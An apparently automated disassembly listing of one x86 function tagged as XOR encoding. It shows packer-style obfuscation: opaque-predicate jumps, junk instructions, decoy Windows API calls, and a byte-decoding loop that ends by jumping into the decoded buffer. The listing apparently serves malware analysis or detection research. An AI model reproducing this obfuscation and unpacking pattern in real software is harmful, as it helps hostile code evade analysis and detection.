Function at 0x4018bb
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x78
inc eax
mov edx, dword [esp + 0xc]
sub ebx, edx
mov edi, 0x13
mov eax, 0x6d
mov edi, eax
mov ecx, dword [esp + 0x2e]
inc edx
imul ebx
mov ecx, dword [esp + 0x2c]
and esi, eax
mov ecx, dword [esp + 0x49]
and ebx, edx
mov eax, dword [esp + 0x44]
sub esi, eax
mov ecx, 0xd9
sub edi, ecx
mov ebx, dword [esp - 0x40]
and ecx, ebx
dec esi
mov eax, dword [esp - 4]
dec edi
mul edx
imul ebx
mov edi, 0x22
dec edx
imul edi
mov edx, 0xab
dec ebx
mov edi, 0x93
imul ecx
dec esi
mul edi
sub eax, edi
mov esi, 0x17
and ecx, esi
mov edi, 0x7a
dec esi
mov ecx, dword [esp + 0x69]
xor eax, ecx
lea edx, [eax]
inc ebx
mov esi, 0x7b
dec edi
lea ecx, [ebx]
mov eax, dword [esp + 0x62]
mov esi, 0x62
dec ecx
mov ebx, dword [esp - 0x13]
mul eax
dec edx
lea ecx, [edx]
mov ebx, 0x93
mov esi, dword [esp - 0x59]
dec edi
mov edx, dword [esp - 0x42]
sub eax, edx
inc esi
mul edx
inc ecx
imul esi
inc edi
and ebx, edi
mov eax, 0x44eb
lea ecx, [ebx]
xor edx, ecx
inc esi
xor ecx, esi
mov edi, 0x14
inc eax
mul ecx
mov esi, dword [esp - 0x6d]
inc ebx
mul ecx
sub ebx, edi
inc edx
lea eax, [ecx]
mov edx, dword [esp + 0x7f]
mov ecx, 0x4c
mul esi
xor eax, esi
mov ebx, 0xf3
inc eax
mul edi
xor esi, edi
dec edx
mov ebx, 0x8b
lea edi, [ebx]
dec ecx
jmp 0x40163b
jmp 0x401681
mov edx, 0x42
dec ebx
mov esi, 0xf9
mov edi, dword [esp + 0x54]
imul ebx
mov eax, dword [esp + 4]
mul esi
and edi, esi
mov edx, dword [esp + 0x67]
dec ebx
mov eax, 0x2e
dec esi
mov ebx, dword [esp + 0x5e]
inc eax
mov esi, dword [esp - 0x26]
mov edi, 0x24
and ecx, edi
mov ebx, 0xd1
and eax, ebx
mov ecx, 0x83
mov edi, edx
inc ecx
mov edx, 0xcf
mov ebx, 2
sub esi, ebx
mov ebx, dword [esp + 0x11]
mov edx, 0x69
and ecx, edx
mov eax, 0xbe
mov ebx, dword [esp - 0x55]
inc edx
lea eax, [edx]
mov ebx, dword [esp - 0x53]
mov ecx, 0x73
mov esi, dword [esp - 2]
dec ebx
imul edi
mov eax, dword [esp + 0x45]
dec ebx
and edx, ebx
mul ebx
dec edx
mov edi, dword [esp + 0x1b]
imul eax
inc esi
and ecx, esi
lea ebx, [ecx]
mov edx, dword [esp - 0x57]
lea ecx, [edx]
mul edx
mov ebx, edx
imul esi
mov edx, dword [esp + 0x3d]
mov ebx, 0x1c
mov esi, dword [esp - 0x4a]
inc ecx
sub edi, ecx
mov esi, 0x4c
mov ebx, dword [esp + 0x4b]
mov eax, 7
mul ecx
mov edi, dword [esp - 0x6a]
dec ebx
lea ecx, [ebx]
inc edx
xor ebx, edx
mov edi, dword [esp + 0x75]
mov eax, 0xe9
sub ebx, eax
mov ecx, dword [esp + 0x7d]
inc edx
lea eax, [edx]
mov esi, dword [esp + 0x31]
dec edx
mov esi, 0xef
inc eax
mov ecx, dword [esp - 0x61]
imul esi
dec edi
mov ecx, 0x12
imul ebx
mov edx, ebx
mov esi, dword [esp + 0x67]
xor edx, ebx
mov edi, dword [esp + 0x34]
mov ecx, 0x51
and esi, ecx
mov edx, dword [esp - 0xe]
mul edi
mov esi, 0x58
mov ebx, dword [esp + 0x41]
mov edx, 0x9f
mov eax, edx
inc edi
mov edx, dword [esp + 3]
inc ecx
and edx, ecx
dec ecx
mov edx, 0xc
imul esi
mov edi, 0x36
mul ebx
mov eax, dword [esp + 0x46]
inc edx
mul ebx
dec eax
mov ecx, dword [esp + 0x1e]
imul edx
mov ebx, 0xf2
mov edx, ebx
inc eax
mov ebx, 6
inc ecx
and edx, ecx
inc esi
mov ecx, esi
inc esi
mul ecx
mov edi, 0x94
lea esi, [edx]
inc eax
lea ebx, [eax]
mov esi, dword [esp + 0x3f]
mov edi, esi
imul edx
inc esi
mov ebx, 0x76
sub eax, ebx
xor edi, edi
push esi
mov esi, 0x1beb9d
pushfd
push 0
pop esi
test esi, esi
je 0x4017ef
popfd
jmp 0x40180d
and ebp, eax
inc eax
rol ecx, 0x12
mov esp, ebx
rcl edx, 0x18
add edi, 0xb
not ebp
mov edx, edx
pop esi
mov edi, 0xf0000
push 0
push 0
pushal
lea ebx, [ebp - 0x22b4]
push ebx
lea eax, [ebp - 0x23b2]
push eax
call sub.USER32.dll_LoadIconA
popal
push 0
call fcn.0040335f
push edi
mov edi, 0x16eb9d
pushfd
xor edi, edi
test edi, edi
je 0x401835
popfd
jmp 0x40184e
mov ebx, edx
dec ebp
dec edi
shr esp, 0
dec ebp
not edi
add eax, 0xe
sub ebx, dword [edi - 0x7d]
clc
add byte [edi], cl
test dword [esi], ebp
sbb dword [eax], eax
add al, ch
enter 0x1a, 0
pop edi
cmp eax, 0
jne 0x403186
call fcn.00403325
pushal
push 9
lea ecx, [ebp - 0x24c8]
push ecx
lea edx, [ebp - 0x225c]
push edx
call sub.KERNEL32.dll_OpenFile
popal
cmp eax, 2
je 0x403186
dec edi
cmp edi, 0
jne 0x401813
push edx
mov edx, 0x1aeb9d
pushfd
xor edx, edx
test edx, edx
je 0x40188c
popfd
jmp 0x4018a9
not esp
inc ecx
mov edx, ebp
dec ebp
ror esp, 3
not edx
xor esp, esi
xor ecx, 0x10
xor ecx, ebx
pop edx
pushal
push 0xe5
call sub.USER32.dll_GetSystemMetrics
popal
push esi
sub esp, 0x28
push esp
push 0x40
push 0x5fa000
call 0x4018c7
pop eax
and eax, 0xffff0000
pushal
push 0xc0
push 0x3d
lea eax, [ebp - 0x24f6]
push eax
call sub.USER32.dll_GetMenuState
popal
push eax
call fcn.0040336b
add esp, 0x28
sub esp, 0x28
push esp
push 0x40
pushal
push 0x31
call sub.USER32.dll_GetSystemMetrics
popal
push 0x999
add eax, 0x32445566
push esi
mov esi, 0x19eb9d
pushfd
and esi, 0
test esi, esi
je 0x40190c
popfd
jmp 0x401928
bswap esp
sub eax, ebx
sbb esp, 0xd
mov edx, edi
ror esp, 7
not ebx
shl ecx, 0x5e
pop esi
add eax, 0x1000
push esi
mov esi, 0x18eb9d
pushfd
xor esi, esi
test esi, esi
je 0x401930
popfd
jmp 0x40194b
xor ebx, ebp
inc esi
and edx, edi
neg edx
xor ebx, esi
xor esi, 9
sub edi, eax
rol edi, 0x5e
pop esi
push eax
call fcn.0040336b
mov edx, eax
push edx
mov edx, 0x18eb9d
pushfd
sub edx, edx
test edx, edx
je 0x401956
popfd
jmp 0x401971
xor ebp, ebx
add eax, 0xb
inc ecx
not edi
and edx, esi
mov ebx, esi
not ebp
and ecx, 0x5a
pop edx
call fcn.00403325
mov edx, eax
push edi
mov edi, 0x16eb9d
pushfd
and edi, 0
test edi, edi
je 0x40197b
popfd
jmp 0x401994
mov ebx, esi
neg edx
xor edi, ebx
xor esi, 2
sub edi, ebp
inc edx
neg dword [edi + 0x52]
pop edi
push edx
push edi
mov edi, 0x17eb9d
pushfd
mov edi, 0
test edi, edi
je 0x401998
popfd
jmp 0x4019b2
dec ebx
ror ecx, 0x18
neg ebx
inc edx
bswap ebx
mov edx, edi
dec edi
pop edi
pushal
push 0xdb
call sub.USER32.dll_GetSystemMetrics
popal
push 0
push 0x3cd5bebd
pushal
call sub.KERNEL32.dll_GetACP
popal
push 0xccc23f1d
mov eax, esp
pushal
push 0xa9
push 0x8a
push 0xa0
push 0x94
call sub.USER32.dll_DrawIcon
popal
push esp
call fcn.00403331
add esp, 0xc
pop edx
add esp, 0x28
call 0x401a01
add edx, eax
push edi
mov edi, 0x17eb9d
pushfd
mov edi, 0
test edi, edi
je 0x401a05
popfd
jmp 0x401a1f
dec esi
sbb edx, 0x19
inc edi
bswap esi
xor ebx, ebx
dec ecx
xor ebp, ecx
pop edi
pop eax
push edx
mov edx, 0x1beb9d
pushfd
and edx, 0
test edx, edx
je 0x401a23
popfd
jmp 0x401a41
rol eax, 0xf
sub ecx, 0x11
bswap esp
neg edi
inc esp
not esp
and edx, ebx
bswap ecx
and ebx, dword [edx - 0x75]
invalid
pop edx
mov esi, eax
and esi, 0xffff0000
add esi, 0x1ae4
push esi
mov esi, 0x11eb9d
pushfd
xor esi, esi
test esi, esi
je 0x401a52
popfd
jmp 0x401a66
or edi, 0xd
rol edi, 0xa
dec ecx
neg esp
pop esi
xor ecx, ecx
add ecx, 0x17ef
ror byte [esi], 2
pushal
push 0x6a5a
push 0x197b
call sub.USER32.dll_EnableWindow
popal
sub byte [esi], 0x9d
pushal
push 0xf6
call sub.USER32.dll_GetSystemMetrics
popal
xor byte [esi], dl
pushal
push 0x56
push 0x4c
push 0xbb
lea edx, [ebp - 0x247c]
push edx
lea eax, [ebp - 0x2212]
push eax
call sub.USER32.dll_PeekMessageA
popal
inc esi
dec ecx
test ecx, ecx
jne 0x401a6f
push edx
mov edx, 0x17eb9d
pushfd
mov edx, 0
test edx, edx
je 0x401ac4
popfd
jmp 0x401ade
add edi, 0
bswap ebp
dec eax
not ecx
bswap esp
dec ebx
neg dword [edx - 0x42]
ja 0x401b48
pop edx
mov esi, 0x99556677
push ebp
cdq
lds edi, [edx + 0x5cdb3939]
cmpsb byte [esi], byte es:[edi]
inc edx
adc ah, byte [eax - 0x5b]
mov edx, 0xbec0baff
movsd dword es:[edi], dword [esi]
ret 0xc604
cli
inc edx
imul edx, dword [eax + 0x1212cdb0], 0x72fcb212
adc dl, byte [edx]
mov word [edx], es
inc edx
test byte [edx], 0x81
hlt
mov dl, 0x18
push cs
adc dl, byte [edx]
std
dec esi
mov ah, 0x30
insb byte es:[edi], dx
jmp [edi]